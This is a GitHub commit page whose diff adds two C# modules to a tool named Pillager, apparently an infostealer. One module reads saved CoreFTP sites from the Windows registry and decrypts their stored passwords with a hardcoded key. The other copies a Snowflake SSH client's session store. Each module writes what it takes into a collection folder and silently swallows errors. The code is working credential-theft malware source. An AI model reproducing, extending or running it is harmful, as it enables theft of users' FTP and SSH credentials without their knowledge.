-
Notifications
You must be signed in to change notification settings - Fork 107
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
f370916
commit 4527887
Showing
58 changed files
with
2,444 additions
and
2,048 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,105 @@ | ||
using Microsoft.Win32; | ||
using System; | ||
using System.Collections.Generic; | ||
using System.Globalization; | ||
using System.IO; | ||
using System.Linq; | ||
using System.Runtime.Remoting.Channels; | ||
using System.Security.Cryptography; | ||
using System.Security.Principal; | ||
using System.Text; | ||
|
||
namespace Pillager.FTP | ||
{ | ||
internal class CoreFTP | ||
{ | ||
public static string FTPName = "CoreFTP"; | ||
|
||
public static string GetInfo() | ||
{ | ||
StringBuilder sb = new StringBuilder(); | ||
string rkPath = "Software\\FTPWare\\CoreFTP\\Sites"; | ||
using (RegistryKey rk = Registry.CurrentUser.OpenSubKey(rkPath, false)) | ||
{ | ||
if (rk != null) | ||
{ | ||
foreach (string text in rk.GetSubKeyNames()) | ||
{ | ||
using (RegistryKey rkSession = Registry.CurrentUser.OpenSubKey(Path.Combine(rkPath, text), false)) | ||
{ | ||
object value = rkSession.GetValue("Host"); | ||
object value2 = rkSession.GetValue("Port"); | ||
object value3 = rkSession.GetValue("User"); | ||
object value4 = rkSession.GetValue("PW"); | ||
if (value != null && value3 != null && value4 != null) | ||
{ | ||
sb.AppendLine("Server:"+ string.Format("{0}:{1}", value.ToString(), value2.ToString())); | ||
sb.AppendLine(value3.ToString()); | ||
sb.AppendLine(Decrypt(value4.ToString(), "hdfzpysvpzimorhk")); | ||
sb.AppendLine(); | ||
} | ||
} | ||
} | ||
} | ||
} | ||
return sb.ToString(); | ||
} | ||
|
||
private static string Decrypt(string encryptedData, string key) | ||
{ | ||
byte[] array = Encoding.UTF8.GetBytes(key); | ||
PadToMultipleOf(ref array, 8); | ||
byte[] array2 = ConvertHexStringToByteArray(encryptedData); | ||
string text; | ||
using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) | ||
{ | ||
rijndaelManaged.KeySize = array.Length * 8; | ||
rijndaelManaged.Key = array; | ||
rijndaelManaged.Mode = CipherMode.ECB; | ||
rijndaelManaged.Padding = PaddingMode.None; | ||
using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor()) | ||
{ | ||
byte[] array3 = cryptoTransform.TransformFinalBlock(array2, 0, array2.Length); | ||
text = Encoding.UTF8.GetString(array3); | ||
} | ||
} | ||
return text; | ||
} | ||
|
||
private static void PadToMultipleOf(ref byte[] src, int pad) | ||
{ | ||
int num = (src.Length + pad - 1) / pad * pad; | ||
Array.Resize(ref src, num); | ||
} | ||
|
||
private static byte[] ConvertHexStringToByteArray(string hexString) | ||
{ | ||
if (hexString.Length % 2 != 0) | ||
{ | ||
throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, "The binary key cannot have an odd number of digits: {0}", hexString)); | ||
} | ||
byte[] array = new byte[hexString.Length / 2]; | ||
for (int i = 0; i < array.Length; i++) | ||
{ | ||
string text = hexString.Substring(i * 2, 2); | ||
array[i] = byte.Parse(text, NumberStyles.HexNumber, CultureInfo.InvariantCulture); | ||
} | ||
return array; | ||
} | ||
|
||
public static void Save(string path) | ||
{ | ||
try | ||
{ | ||
string output = GetInfo(); | ||
if (!string.IsNullOrEmpty(output)) | ||
{ | ||
string savepath = Path.Combine(path, FTPName); | ||
Directory.CreateDirectory(savepath); | ||
File.WriteAllText(Path.Combine(savepath, FTPName + ".txt"), output); | ||
} | ||
} | ||
catch { } | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.IO; | ||
using System.Linq; | ||
using System.Security.Principal; | ||
using System.Text; | ||
|
||
namespace Pillager.FTP | ||
{ | ||
internal class Snowflake | ||
{ | ||
public static string FTPName = "Snowflake"; | ||
|
||
public static void Save(string path) | ||
{ | ||
try | ||
{ | ||
string jsonpath = Path.Combine(Environment.GetEnvironmentVariable("USERPROFILE"), "snowflake-ssh\\session-store.json"); | ||
if (File.Exists(jsonpath)) | ||
{ | ||
string savepath = Path.Combine(path, FTPName); | ||
Directory.CreateDirectory(savepath); | ||
File.Copy(jsonpath, Path.Combine(savepath, "session-store.json")); | ||
} | ||
} | ||
catch { } | ||
} | ||
} | ||
} |
Oops, something went wrong.